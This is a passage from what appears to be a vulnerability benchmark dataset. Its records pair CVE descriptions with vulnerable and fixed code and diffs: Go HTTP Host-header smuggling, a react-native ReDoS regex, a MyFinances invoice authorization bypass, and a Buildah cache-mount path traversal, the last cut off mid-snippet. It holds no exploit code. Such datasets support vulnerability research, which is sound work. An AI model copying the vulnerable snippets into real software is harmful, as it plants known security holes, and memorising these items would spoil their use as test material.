URL.\n\t//\n\t// Clean the host, in case it arrives with unexpected stuff in it.\n\thost := cleanHost(r.Host)\n\tif host == \"\" {\n\t\tif r.URL == nil {\n\t\t\treturn errMissingHost\n\t\t}\n\t\thost = cleanHost(r.URL.Host)\n\t}\n\n\t// According to RFC 6874, an HTTP client, proxy, or other\n\t// intermediary must remove any IPv6 zone identifier attached\n\t// to an outgoing URI.\n\thost = removeZone(host)\n\n\truri := r.URL.RequestURI()\n\tif usingProxy && r.URL.Scheme != \"\" && r.URL.Opaque == \"\" {\n\t\truri = r.URL.Scheme + \"://\" + host + ruri\n\t} else if r.Method == \"CONNECT\" && r.URL.Path == \"\" {\n\t\t// CONNECT requests normally give just the host and port, not a full URL.\n\t\truri = host\n\t\tif r.URL.Opaque != \"\" {\n\t\t\truri = r.URL.Opaque\n\t\t}\n\t}\n\tif stringContainsCTLByte(ruri) {\n\t\treturn errors.New(\"net/http: can't write control character in Request.URL\")\n\t}\n\t// TODO: validate r.Method too? At least it's less likely to\n\t// come from an attacker (more likely to be a constant in\n\t// code).\n\n\t// Wrap the writer in a bufio Writer if it's not already buffered.\n\t// Don't always call NewWriter, as that forces a bytes.Buffer\n\t// and other small bufio Writers to have a minimum 4k buffer\n\t// size.\n\tvar bw *bufio.Writer\n\tif _, ok := w.(io.ByteWriter); !ok {\n\t\tbw = bufio.NewWriter(w)\n\t\tw = bw\n\t}\n\n\trw := w // raw writer\n\tdumps := dump.GetDumpers(r.Context(), pc.t.Dump)\n\tfor _, dump := range dumps {\n\t\tif dump.RequestHeader() {\n\t\t\tw = dump.WrapRequestHeaderWriter(w)\n\t\t}\n\t}\n\n\t_, err = fmt.Fprintf(w, \"%s %s HTTP/1.1\\r\\n\", valueOrDefault(r.Method, \"GET\"), ruri)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_writeHeader := func(key string, values ...string) error {\n\t\tfor _, value := range values {\n\t\t\t_, err := fmt.Fprintf(w, \"%s: %s\\r\\n\", key, value)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif trace != nil && trace.WroteHeaderField != nil {\n\t\t\ttrace.WroteHeaderField(key, values)\n\t\t}\n\t\treturn nil\n\t}\n\n\tvar writeHeader func(key string, values ...string) error\n\tvar kvs []header.KeyValues\n\tsort := false\n\n\tif r.Header != nil && len(r.Header[header.HeaderOderKey]) > 0 {\n\t\twriteHeader = func(key string, values ...string) error {\n\t\t\tkvs = append(kvs, header.KeyValues{\n\t\t\t\tKey:    key,\n\t\t\t\tValues: values,\n\t\t\t})\n\t\t\treturn nil\n\t\t}\n\t\tsort = true\n\t} else {\n\t\twriteHeader = _writeHeader\n\t}\n\t// Header lines\n\terr = writeHeader(\"Host\", host)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Use the defaultUserAgent unless the Header contains one, which\n\t// may be blank to not send the header.\n\tuserAgent := header.DefaultUserAgent\n\tif headerHas(r.Header, \"User-Agent\") {\n\t\tuserAgent = r.Header.Get(\"User-Agent\")\n\t}\n\tif userAgent != \"\" {\n\t\terr = writeHeader(\"User-Agent\", userAgent)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Process Body,ContentLength,Close,Trailer\n\ttw, err := newTransferWriter(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = tw.writeHeader(writeHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = headerWriteSubset(r.Header, reqWriteExcludeHeader, writeHeader, sort)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif extraHeaders != nil {\n\t\terr = headerWrite(extraHeaders, writeHeader, sort)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif sort { // sort and write headers\n\t\theader.SortKeyValues(kvs, r.Header[header.HeaderOderKey])\n\t\tfor _, kv := range kvs {\n\t\t\t_writeHeader(kv.Key, kv.Values...)\n\t\t}\n\t}\n\n\t_, err = io.WriteString(w, \"\\r\\n\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif trace != nil && trace.WroteHeaders != nil {\n\t\ttrace.WroteHeaders()\n\t}\n\n\t// Flush and wait for 100-continue if expected.\n\tif waitForContinue != nil {\n\t\tif bw, ok := w.(*bufio.Writer); ok {\n\t\t\terr = bw.Flush()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif trace != nil && trace.Wait100Continue != nil {\n\t\t\ttrace.Wait100Continue()\n\t\t}\n\t\tif !waitForContinue() {\n\t\t\tclosed = true\n\t\t\tcloseRequestBody(r)\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif bw, ok := w.(*bufio.Writer); ok && tw.FlushHeaders {\n\t\tif err := bw.Flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Write body and trailer\n\tclosed = true\n\terr = tw.writeBody(rw, dumps)\n\tif err != nil {\n\t\tif tw.bodyReadError == err {\n\t\t\terr = requestBodyReadError{err}\n\t\t}\n\t\treturn err\n\t}\n\n\tif bw != nil {\n\t\treturn bw.Flush()\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_254_1", "commit": "04e3ece5b380ecad9da3551c449f1b8a9aa76d3d", "file_path": "transport.go", "start_line": 2966, "end_line": 3195, "snippet": "func (pc *persistConn) writeRequest(r *http.Request, w io.Writer, usingProxy bool, extraHeaders http.Header, waitForContinue func() bool) (err error) {\n\ttrace := httptrace.ContextClientTrace(r.Context())\n\tif trace != nil && trace.WroteRequest != nil {\n\t\tdefer func() {\n\t\t\ttrace.WroteRequest(httptrace.WroteRequestInfo{\n\t\t\t\tErr: err,\n\t\t\t})\n\t\t}()\n\t}\n\tclosed := false\n\tdefer func() {\n\t\tif closed {\n\t\t\treturn\n\t\t}\n\t\tif closeErr := closeRequestBody(r); closeErr != nil && err == nil {\n\t\t\terr = closeErr\n\t\t}\n\t}()\n\n\t// Find the target host. Prefer the Host: header, but if that\n\t// is not given, use the host from the request URL.\n\t//\n\t// Clean the host, in case it arrives with unexpected stuff in it.\n\thost := r.Host\n\tif host == \"\" {\n\t\tif r.URL == nil {\n\t\t\treturn errMissingHost\n\t\t}\n\t\thost = r.URL.Host\n\t}\n\thost, err = httpguts.PunycodeHostPort(host)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Validate that the Host header is a valid header in general,\n\t// but don't validate the host itself. This is sufficient to avoid\n\t// header or request smuggling via the Host field.\n\t// The server can (and will, if it's a net/http server) reject\n\t// the request if it doesn't consider the host valid.\n\tif !httpguts.ValidHostHeader(host) {\n\t\t// Historically, we would truncate the Host header after '/' or ' '.\n\t\t// Some users have relied on this truncation to convert a network\n\t\t// address such as Unix domain socket path into a valid, ignored\n\t\t// Host header (see https://go.dev/issue/61431).\n\t\t//\n\t\t// We don't preserve the truncation, because sending an altered\n\t\t// header field opens a smuggling vector. Instead, zero out the\n\t\t// Host header entirely if it isn't valid. (An empty Host is valid;\n\t\t// see RFC 9112 Section 3.2.)\n\t\t//\n\t\t// Return an error if we're sending to a proxy, since the proxy\n\t\t// probably can't do anything useful with an empty Host header.\n\t\tif !usingProxy {\n\t\t\thost = \"\"\n\t\t} else {\n\t\t\treturn errors.New(\"http: invalid Host header\")\n\t\t}\n\t}\n\n\t// According to RFC 6874, an HTTP client, proxy, or other\n\t// intermediary must remove any IPv6 zone identifier attached\n\t// to an outgoing URI.\n\thost = removeZone(host)\n\n\truri := r.URL.RequestURI()\n\tif usingProxy && r.URL.Scheme != \"\" && r.URL.Opaque == \"\" {\n\t\truri = r.URL.Scheme + \"://\" + host + ruri\n\t} else if r.Method == \"CONNECT\" && r.URL.Path == \"\" {\n\t\t// CONNECT requests normally give just the host and port, not a full URL.\n\t\truri = host\n\t\tif r.URL.Opaque != \"\" {\n\t\t\truri = r.URL.Opaque\n\t\t}\n\t}\n\tif stringContainsCTLByte(ruri) {\n\t\treturn errors.New(\"net/http: can't write control character in Request.URL\")\n\t}\n\t// TODO: validate r.Method too? At least it's less likely to\n\t// come from an attacker (more likely to be a constant in\n\t// code).\n\n\t// Wrap the writer in a bufio Writer if it's not already buffered.\n\t// Don't always call NewWriter, as that forces a bytes.Buffer\n\t// and other small bufio Writers to have a minimum 4k buffer\n\t// size.\n\tvar bw *bufio.Writer\n\tif _, ok := w.(io.ByteWriter); !ok {\n\t\tbw = bufio.NewWriter(w)\n\t\tw = bw\n\t}\n\n\trw := w // raw writer\n\tdumps := dump.GetDumpers(r.Context(), pc.t.Dump)\n\tfor _, dump := range dumps {\n\t\tif dump.RequestHeader() {\n\t\t\tw = dump.WrapRequestHeaderWriter(w)\n\t\t}\n\t}\n\n\t_, err = fmt.Fprintf(w, \"%s %s HTTP/1.1\\r\\n\", valueOrDefault(r.Method, \"GET\"), ruri)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_writeHeader := func(key string, values ...string) error {\n\t\tfor _, value := range values {\n\t\t\t_, err := fmt.Fprintf(w, \"%s: %s\\r\\n\", key, value)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif trace != nil && trace.WroteHeaderField != nil {\n\t\t\ttrace.WroteHeaderField(key, values)\n\t\t}\n\t\treturn nil\n\t}\n\n\tvar writeHeader func(key string, values ...string) error\n\tvar kvs []header.KeyValues\n\tsort := false\n\n\tif r.Header != nil && len(r.Header[header.HeaderOderKey]) > 0 {\n\t\twriteHeader = func(key string, values ...string) error {\n\t\t\tkvs = append(kvs, header.KeyValues{\n\t\t\t\tKey:    key,\n\t\t\t\tValues: values,\n\t\t\t})\n\t\t\treturn nil\n\t\t}\n\t\tsort = true\n\t} else {\n\t\twriteHeader = _writeHeader\n\t}\n\t// Header lines\n\terr = writeHeader(\"Host\", host)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Use the defaultUserAgent unless the Header contains one, which\n\t// may be blank to not send the header.\n\tuserAgent := header.DefaultUserAgent\n\tif headerHas(r.Header, \"User-Agent\") {\n\t\tuserAgent = r.Header.Get(\"User-Agent\")\n\t}\n\tif userAgent != \"\" {\n\t\terr = writeHeader(\"User-Agent\", userAgent)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Process Body,ContentLength,Close,Trailer\n\ttw, err := newTransferWriter(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = tw.writeHeader(writeHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = headerWriteSubset(r.Header, reqWriteExcludeHeader, writeHeader, sort)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif extraHeaders != nil {\n\t\terr = headerWrite(extraHeaders, writeHeader, sort)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif sort { // sort and write headers\n\t\theader.SortKeyValues(kvs, r.Header[header.HeaderOderKey])\n\t\tfor _, kv := range kvs {\n\t\t\t_writeHeader(kv.Key, kv.Values...)\n\t\t}\n\t}\n\n\t_, err = io.WriteString(w, \"\\r\\n\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif trace != nil && trace.WroteHeaders != nil {\n\t\ttrace.WroteHeaders()\n\t}\n\n\t// Flush and wait for 100-continue if expected.\n\tif waitForContinue != nil {\n\t\tif bw, ok := w.(*bufio.Writer); ok {\n\t\t\terr = bw.Flush()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif trace != nil && trace.Wait100Continue != nil {\n\t\t\ttrace.Wait100Continue()\n\t\t}\n\t\tif !waitForContinue() {\n\t\t\tclosed = true\n\t\t\tcloseRequestBody(r)\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif bw, ok := w.(*bufio.Writer); ok && tw.FlushHeaders {\n\t\tif err := bw.Flush(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Write body and trailer\n\tclosed = true\n\terr = tw.writeBody(rw, dumps)\n\tif err != nil {\n\t\tif tw.bodyReadError == err {\n\t\t\terr = requestBodyReadError{err}\n\t\t}\n\t\treturn err\n\t}\n\n\tif bw != nil {\n\t\treturn bw.Flush()\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/transport.go\n+++ b/transport.go\n@@ -21,12 +21,41 @@\n \t// is not given, use the host from the request URL.\n \t//\n \t// Clean the host, in case it arrives with unexpected stuff in it.\n-\thost := cleanHost(r.Host)\n+\thost := r.Host\n \tif host == \"\" {\n \t\tif r.URL == nil {\n \t\t\treturn errMissingHost\n \t\t}\n-\t\thost = cleanHost(r.URL.Host)\n+\t\thost = r.URL.Host\n+\t}\n+\thost, err = httpguts.PunycodeHostPort(host)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n+\n+\t// Validate that the Host header is a valid header in general,\n+\t// but don't validate the host itself. This is sufficient to avoid\n+\t// header or request smuggling via the Host field.\n+\t// The server can (and will, if it's a net/http server) reject\n+\t// the request if it doesn't consider the host valid.\n+\tif !httpguts.ValidHostHeader(host) {\n+\t\t// Historically, we would truncate the Host header after '/' or ' '.\n+\t\t// Some users have relied on this truncation to convert a network\n+\t\t// address such as Unix domain socket path into a valid, ignored\n+\t\t// Host header (see https://go.dev/issue/61431).\n+\t\t//\n+\t\t// We don't preserve the truncation, because sending an altered\n+\t\t// header field opens a smuggling vector. Instead, zero out the\n+\t\t// Host header entirely if it isn't valid. (An empty Host is valid;\n+\t\t// see RFC 9112 Section 3.2.)\n+\t\t//\n+\t\t// Return an error if we're sending to a proxy, since the proxy\n+\t\t// probably can't do anything useful with an empty Host header.\n+\t\tif !usingProxy {\n+\t\t\thost = \"\"\n+\t\t} else {\n+\t\t\treturn errors.New(\"http: invalid Host header\")\n+\t\t}\n \t}\n \n \t// According to RFC 6874, an HTTP client, proxy, or other\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-1920", "cve_description": "A regular expression denial of service (ReDoS) vulnerability in the validateBaseUrl function can cause the application to use excessive resources, become unresponsive, or crash. This was introduced in react-native version 0.59.0 and fixed in version 0.64.1.", "cwe_info": {"CWE-697": {"name": "Incorrect Comparison", "description": "The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses."}}, "repo": "https://github.com/facebook/react-native", "patch_url": ["https://github.com/facebook/react-native/commit/ca09ae82715e33c9ac77b3fa55495cf84ba891c7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_313_1", "commit": "166a5ddf88aca0d0235e48c624681eec095e9ef8", "file_path": "Libraries/Blob/URL.js", "start_line": 108, "end_line": 113, "snippet": "function validateBaseUrl(url: string) {\n  // from this MIT-licensed gist: https://gist.github.com/dperini/729294\n  return /^(?:(?:(?:https?|ftp):)?\\/\\/)(?:(?:[1-9]\\d?|1\\d\\d|2[01]\\d|22[0-3])(?:\\.(?:1?\\d{1,2}|2[0-4]\\d|25[0-5])){2}(?:\\.(?:[1-9]\\d?|1\\d\\d|2[0-4]\\d|25[0-4]))|(?:(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)(?:\\.(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)*(?:\\.(?:[a-z\\u00a1-\\uffff]{2,}))?)(?::\\d{2,5})?(?:[/?#]\\S*)?$/i.test(\n    url,\n  );\n}"}], "fix_func": [{"id": "fix_js_313_1", "commit": "ca09ae82715e33c9ac77b3fa55495cf84ba891c7", "file_path": "Libraries/Blob/URL.js", "start_line": 108, "end_line": 113, "snippet": "function validateBaseUrl(url: string) {\n  // from this MIT-licensed gist: https://gist.github.com/dperini/729294\n  return /^(?:(?:(?:https?|ftp):)?\\/\\/)(?:(?:[1-9]\\d?|1\\d\\d|2[01]\\d|22[0-3])(?:\\.(?:1?\\d{1,2}|2[0-4]\\d|25[0-5])){2}(?:\\.(?:[1-9]\\d?|1\\d\\d|2[0-4]\\d|25[0-4]))|(?:(?:[a-z0-9\\u00a1-\\uffff][a-z0-9\\u00a1-\\uffff_-]{0,62})?[a-z0-9\\u00a1-\\uffff]\\.)*(?:[a-z\\u00a1-\\uffff]{2,}\\.?))(?::\\d{2,5})?(?:[/?#]\\S*)?$/.test(\n    url,\n  );\n}"}], "vul_patch": "--- a/Libraries/Blob/URL.js\n+++ b/Libraries/Blob/URL.js\n@@ -1,6 +1,6 @@\n function validateBaseUrl(url: string) {\n   // from this MIT-licensed gist: https://gist.github.com/dperini/729294\n-  return /^(?:(?:(?:https?|ftp):)?\\/\\/)(?:(?:[1-9]\\d?|1\\d\\d|2[01]\\d|22[0-3])(?:\\.(?:1?\\d{1,2}|2[0-4]\\d|25[0-5])){2}(?:\\.(?:[1-9]\\d?|1\\d\\d|2[0-4]\\d|25[0-4]))|(?:(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)(?:\\.(?:[a-z\\u00a1-\\uffff0-9]-*)*[a-z\\u00a1-\\uffff0-9]+)*(?:\\.(?:[a-z\\u00a1-\\uffff]{2,}))?)(?::\\d{2,5})?(?:[/?#]\\S*)?$/i.test(\n+  return /^(?:(?:(?:https?|ftp):)?\\/\\/)(?:(?:[1-9]\\d?|1\\d\\d|2[01]\\d|22[0-3])(?:\\.(?:1?\\d{1,2}|2[0-4]\\d|25[0-5])){2}(?:\\.(?:[1-9]\\d?|1\\d\\d|2[0-4]\\d|25[0-4]))|(?:(?:[a-z0-9\\u00a1-\\uffff][a-z0-9\\u00a1-\\uffff_-]{0,62})?[a-z0-9\\u00a1-\\uffff]\\.)*(?:[a-z\\u00a1-\\uffff]{2,}\\.?))(?::\\d{2,5})?(?:[/?#]\\S*)?$/.test(\n     url,\n   );\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-37889", "cve_description": "MyFinances is a web application for managing finances. MyFinances has a way to access other customer invoices while signed in as a user. This method allows an actor to access PII and financial information from another account. The vulnerability is fixed in 0.4.6.", "cwe_info": {"CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/TreyWW/MyFinances", "patch_url": ["https://github.com/TreyWW/MyFinances/commit/2c1e6d5b7ec8b2d6f660b260e3c5f4d3eaaa613f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_387_1", "commit": "a5e363c290328ea7ee8b107627163eb909094993", "file_path": "backend/views/core/invoices/edit.py", "start_line": 56, "end_line": 64, "snippet": "def invoice_edit_page_get(request, invoice_id):\n    try:\n        invoice = Invoice.objects.get(id=invoice_id)\n    except Invoice.DoesNotExist:\n        return JsonResponse({\"message\": \"Invoice not found\"}, status=404)\n\n    # use to populate fields with existing data in edit_from_destination.html AND edit_to_destination.html\n    data_to_populate = invoice_get_existing_data(invoice)\n    return render(request, \"pages/invoices/edit/edit.html\", data_to_populate)"}, {"id": "vul_py_387_2", "commit": "a5e363c290328ea7ee8b107627163eb909094993", "file_path": "backend/views/core/invoices/edit.py", "start_line": 69, "end_line": 147, "snippet": "def edit_invoice(request: HtmxHttpRequest, invoice_id):\n    try:\n        invoice = Invoice.objects.get(id=invoice_id)\n    except Invoice.DoesNotExist:\n        return JsonResponse({\"message\": \"Invoice not found\"}, status=404)\n\n    if request.user.logged_in_as_team and request.user.logged_in_as_team != invoice.organization:\n        return JsonResponse(\n            {\"message\": \"You do not have permission to edit this invoice\"},\n            status=403,\n        )\n    elif request.user != invoice.user:\n        return JsonResponse(\n            {\"message\": \"You do not have permission to edit this invoice\"},\n            status=403,\n        )\n\n    attributes_to_updates = {\n        \"date_due\": datetime.strptime(request.POST.get(\"date_due\"), \"%Y-%m-%d\").date(),  # type: ignore[arg-type]\n        \"date_issued\": request.POST.get(\"date_issued\"),\n        \"self_name\": request.POST.get(\"from_name\"),\n        \"self_company\": request.POST.get(\"from_company\"),\n        \"self_address\": request.POST.get(\"from_address\"),\n        \"self_city\": request.POST.get(\"from_city\"),\n        \"self_county\": request.POST.get(\"from_county\"),\n        \"self_country\": request.POST.get(\"from_country\"),\n        \"notes\": request.POST.get(\"notes\"),\n        \"invoice_number\": request.POST.get(\"invoice_number\"),\n        \"vat_number\": request.POST.get(\"vat_number\"),\n        \"reference\": request.POST.get(\"reference\"),\n        \"sort_code\": request.POST.get(\"sort_code\"),\n        \"account_number\": request.POST.get(\"account_number\"),\n        \"account_holder_name\": request.POST.get(\"account_holder_name\"),\n    }\n\n    client_to_id = request.POST.get(\"selected_client\")\n    try:\n        client_to_obj = Client.objects.get(id=client_to_id, user=request.user)  # type: ignore[misc]\n    except (Client.DoesNotExist, ValueError):\n        client_to_obj = None\n\n    if client_to_obj:\n        invoice.client_to = client_to_obj\n    else:\n        attributes_to_updates.update(\n            {\n                \"client_name\": request.POST.get(\"to_name\"),\n                \"client_company\": request.POST.get(\"to_company\"),\n                \"client_address\": request.POST.get(\"to_address\"),\n                \"client_city\": request.POST.get(\"to_city\"),\n                \"client_county\": request.POST.get(\"to_county\"),\n                \"client_country\": request.POST.get(\"to_country\"),\n            }\n        )\n\n    for column_name, new_value in attributes_to_updates.items():\n        setattr(invoice, column_name, new_value)\n\n    invoice_items = [\n        InvoiceItem.objects.create(name=row[0], description=row[1], hours=row[2], price_per_hour=row[3])\n        for row in zip(\n            request.POST.getlist(\"service_name[]\"),\n            request.POST.getlist(\"service_description[]\"),\n            request.POST.getlist(\"hours[]\"),\n            request.POST.getlist(\"price_per_hour[]\"),\n        )\n    ]\n\n    if invoice_items:\n        invoice.items.set(invoice_items)\n\n    invoice.save()\n\n    messages.success(request, \"Invoice edited\")\n\n    if request.htmx:\n        return render(request, \"base/toasts.html\")\n\n    return invoice_edit_page_get(request, invoice_id)"}], "fix_func": [{"id": "fix_py_387_1", "commit": "2c1e6d5b7ec8b2d6f660b260e3c5f4d3eaaa613f", "file_path": "backend/views/core/invoices/edit.py", "start_line": 57, "end_line": 70, "snippet": "def invoice_edit_page_get(request, invoice_id):\n    try:\n        invoice = Invoice.objects.get(id=invoice_id)\n\n        if not invoice.has_access(request.user):\n            messages.error(request, \"You are not permitted to edit this invoice\")\n            return redirect(\"invoices:dashboard\")\n    except Invoice.DoesNotExist:\n        messages.error(request, \"Invoice not found\")\n        return redirect(\"invoices:dashboard\")\n\n    # use to populate fields with existing data in edit_from_destination.html AND edit_to_destination.html\n    data_to_populate = invoice_get_existing_data(invoice)\n    return render(request, \"pages/invoices/edit/edit.html\", data_to_populate)"}, {"id": "fix_py_387_2", "commit": "2c1e6d5b7ec8b2d6f660b260e3c5f4d3eaaa613f", "file_path": "backend/views/core/invoices/edit.py", "start_line": 75, "end_line": 148, "snippet": "def edit_invoice(request: HtmxHttpRequest, invoice_id):\n    try:\n        invoice = Invoice.objects.get(id=invoice_id)\n    except Invoice.DoesNotExist:\n        return JsonResponse({\"message\": \"Invoice not found\"}, status=404)\n\n    if not invoice.has_access(request.user):\n        return JsonResponse(\n            {\"message\": \"You do not have permission to edit this invoice\"},\n            status=403,\n        )\n\n    attributes_to_updates = {\n        \"date_due\": datetime.strptime(request.POST.get(\"date_due\"), \"%Y-%m-%d\").date(),  # type: ignore[arg-type]\n        \"date_issued\": request.POST.get(\"date_issued\"),\n        \"self_name\": request.POST.get(\"from_name\"),\n        \"self_company\": request.POST.get(\"from_company\"),\n        \"self_address\": request.POST.get(\"from_address\"),\n        \"self_city\": request.POST.get(\"from_city\"),\n        \"self_county\": request.POST.get(\"from_county\"),\n        \"self_country\": request.POST.get(\"from_country\"),\n        \"notes\": request.POST.get(\"notes\"),\n        \"invoice_number\": request.POST.get(\"invoice_number\"),\n        \"vat_number\": request.POST.get(\"vat_number\"),\n        \"reference\": request.POST.get(\"reference\"),\n        \"sort_code\": request.POST.get(\"sort_code\"),\n        \"account_number\": request.POST.get(\"account_number\"),\n        \"account_holder_name\": request.POST.get(\"account_holder_name\"),\n    }\n\n    client_to_id = request.POST.get(\"selected_client\")\n    try:\n        client_to_obj = Client.objects.get(id=client_to_id, user=request.user)  # type: ignore[misc]\n    except (Client.DoesNotExist, ValueError):\n        client_to_obj = None\n\n    if client_to_obj:\n        invoice.client_to = client_to_obj\n    else:\n        attributes_to_updates.update(\n            {\n                \"client_name\": request.POST.get(\"to_name\"),\n                \"client_company\": request.POST.get(\"to_company\"),\n                \"client_address\": request.POST.get(\"to_address\"),\n                \"client_city\": request.POST.get(\"to_city\"),\n                \"client_county\": request.POST.get(\"to_county\"),\n                \"client_country\": request.POST.get(\"to_country\"),\n            }\n        )\n\n    for column_name, new_value in attributes_to_updates.items():\n        setattr(invoice, column_name, new_value)\n\n    invoice_items = [\n        InvoiceItem.objects.create(name=row[0], description=row[1], hours=row[2], price_per_hour=row[3])\n        for row in zip(\n            request.POST.getlist(\"service_name[]\"),\n            request.POST.getlist(\"service_description[]\"),\n            request.POST.getlist(\"hours[]\"),\n            request.POST.getlist(\"price_per_hour[]\"),\n        )\n    ]\n\n    if invoice_items:\n        invoice.items.set(invoice_items)\n\n    invoice.save()\n\n    messages.success(request, \"Invoice edited\")\n\n    if request.htmx:\n        return render(request, \"base/toasts.html\")\n\n    return invoice_edit_page_get(request, invoice_id)"}], "vul_patch": "--- a/backend/views/core/invoices/edit.py\n+++ b/backend/views/core/invoices/edit.py\n@@ -1,8 +1,13 @@\n def invoice_edit_page_get(request, invoice_id):\n     try:\n         invoice = Invoice.objects.get(id=invoice_id)\n+\n+        if not invoice.has_access(request.user):\n+            messages.error(request, \"You are not permitted to edit this invoice\")\n+            return redirect(\"invoices:dashboard\")\n     except Invoice.DoesNotExist:\n-        return JsonResponse({\"message\": \"Invoice not found\"}, status=404)\n+        messages.error(request, \"Invoice not found\")\n+        return redirect(\"invoices:dashboard\")\n \n     # use to populate fields with existing data in edit_from_destination.html AND edit_to_destination.html\n     data_to_populate = invoice_get_existing_data(invoice)\n\n--- a/backend/views/core/invoices/edit.py\n+++ b/backend/views/core/invoices/edit.py\n@@ -4,12 +4,7 @@\n     except Invoice.DoesNotExist:\n         return JsonResponse({\"message\": \"Invoice not found\"}, status=404)\n \n-    if request.user.logged_in_as_team and request.user.logged_in_as_team != invoice.organization:\n-        return JsonResponse(\n-            {\"message\": \"You do not have permission to edit this invoice\"},\n-            status=403,\n-        )\n-    elif request.user != invoice.user:\n+    if not invoice.has_access(request.user):\n         return JsonResponse(\n             {\"message\": \"You do not have permission to edit this invoice\"},\n             status=403,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-9675", "cve_description": "A vulnerability was found in Buildah. Cache mounts do not properly validate that user-specified paths for the cache are within our cache directory, allowing a `RUN` instruction in a Container file to mount an arbitrary directory from the host (read/write) into the container as long as those files can be accessed by the user running Buildah.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/containers/buildah", "patch_url": ["https://github.com/containers/buildah/commit/aa67e5d71ee7ec07122a210baa3b13966a9e086c"], "programing_language": "Go", "vul_func": [{"id": "vul_go_104_1", "commit": "98382f0", "file_path": "internal/volumes/volumes.go", "start_line": 232, "end_line": 464, "snippet": "func GetCacheMount(args []string, _ storage.Store, _ string, additionalMountPoints map[string]internal.StageMountDetails, workDir string) (specs.Mount, *lockfile.LockFile, error) {\n\tvar err error\n\tvar mode uint64\n\tvar buildahLockFilesDir string\n\tvar (\n\t\tsetDest           bool\n\t\tsetShared         bool\n\t\tsetReadOnly       bool\n\t\tfoundSElinuxLabel bool\n\t)\n\tfromStage := \"\"\n\tnewMount := specs.Mount{\n\t\tType: define.TypeBind,\n\t}\n\t// if id is set a new subdirectory with `id` will be created under /host-temp/buildah-build-cache/id\n\tid := \"\"\n\t// buildkit parity: cache directory defaults to 0o755\n\tmode = 0o755\n\t// buildkit parity: cache directory defaults to uid 0 if not specified\n\tuid := 0\n\t// buildkit parity: cache directory defaults to gid 0 if not specified\n\tgid := 0\n\t// sharing mode\n\tsharing := \"shared\"\n\n\tfor _, val := range args {\n\t\targName, argValue, hasArgValue := strings.Cut(val, \"=\")\n\t\tswitch argName {\n\t\tcase \"type\":\n\t\t\t// This is already processed\n\t\t\tcontinue\n\t\tcase \"nosuid\", \"nodev\", \"noexec\":\n\t\t\t// TODO: detect duplication of these options.\n\t\t\t// (Is this necessary?)\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\tcase \"rw\", \"readwrite\":\n\t\t\tnewMount.Options = append(newMount.Options, \"rw\")\n\t\tcase \"readonly\", \"ro\":\n\t\t\t// Alias for \"ro\"\n\t\t\tnewMount.Options = append(newMount.Options, \"ro\")\n\t\t\tsetReadOnly = true\n\t\tcase \"Z\", \"z\":\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\t\tfoundSElinuxLabel = true\n\t\tcase \"shared\", \"rshared\", \"private\", \"rprivate\", \"slave\", \"rslave\", \"U\":\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\t\tsetShared = true\n\t\tcase \"sharing\":\n\t\t\tsharing = argValue\n\t\tcase \"bind-propagation\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tswitch argValue {\n\t\t\tdefault:\n\t\t\t\treturn newMount, nil, fmt.Errorf(\"%v: %q: %w\", argName, argValue, errBadMntOption)\n\t\t\tcase \"shared\", \"rshared\", \"private\", \"rprivate\", \"slave\", 